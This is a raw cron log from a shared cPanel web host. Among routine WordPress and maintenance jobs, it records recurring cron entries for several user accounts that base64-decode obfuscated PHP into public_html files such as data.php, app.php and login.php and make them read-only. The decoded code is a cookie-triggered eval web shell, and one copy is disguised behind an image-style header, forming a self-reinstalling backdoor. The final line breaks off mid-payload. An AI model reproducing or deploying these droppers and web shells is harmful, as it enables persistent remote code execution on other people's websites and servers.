Apr 19 05:46:01 medusa CROND[21896]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:46:01 medusa CROND[21897]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:46:01 medusa CROND[21898]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:46:01 medusa CROND[21907]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 05:47:01 medusa CROND[13497]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:47:01 medusa CROND[13498]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Apr 19 05:47:01 medusa CROND[13499]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:47:01 medusa CROND[13501]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 05:47:01 medusa CROND[13503]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:47:01 medusa CROND[13509]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:47:01 medusa CROND[13511]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:47:01 medusa CROND[13513]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:47:01 medusa CROND[13515]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:47:01 medusa CROND[13517]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:47:01 medusa CROND[13518]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:47:01 medusa CROND[13519]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:47:01 medusa CROND[13520]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:48:02 medusa CROND[5203]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:48:02 medusa CROND[5204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:48:02 medusa CROND[5207]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:48:02 medusa CROND[5206]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:48:02 medusa CROND[5212]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:48:02 medusa CROND[5210]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 05:48:02 medusa CROND[5214]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:48:02 medusa CROND[5211]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:48:02 medusa CROND[5213]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:48:02 medusa CROND[5216]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:48:02 medusa CROND[5218]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:48:02 medusa CROND[5219]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 05:48:02 medusa CROND[5224]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk